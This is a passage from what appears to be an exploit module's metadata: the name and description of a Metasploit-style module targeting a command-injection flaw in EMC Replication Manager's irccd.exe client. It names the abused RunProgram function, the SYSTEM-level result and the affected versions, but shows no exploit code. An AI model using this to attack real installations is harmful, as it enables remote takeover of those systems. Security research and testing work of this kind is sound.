'Name' => 'EMC Replication Manager Command Execution',
'Description' => %q{
This module exploits a remote command-injection vulnerability in EMC Replication Manager
client (irccd.exe). By sending a specially crafted message invoking RunProgram function an
attacker may be able to execute arbitrary commands with SYSTEM privileges. Affected
products are EMC Replication Manager < 5.3. This module has been successfully tested
against EMC Replication Manager 5.2.1 on XP/W2003. EMC Networker Module for Microsoft
Applications 2.1 and 2.2 may be vulnerable too although this module have not been tested
against these products.
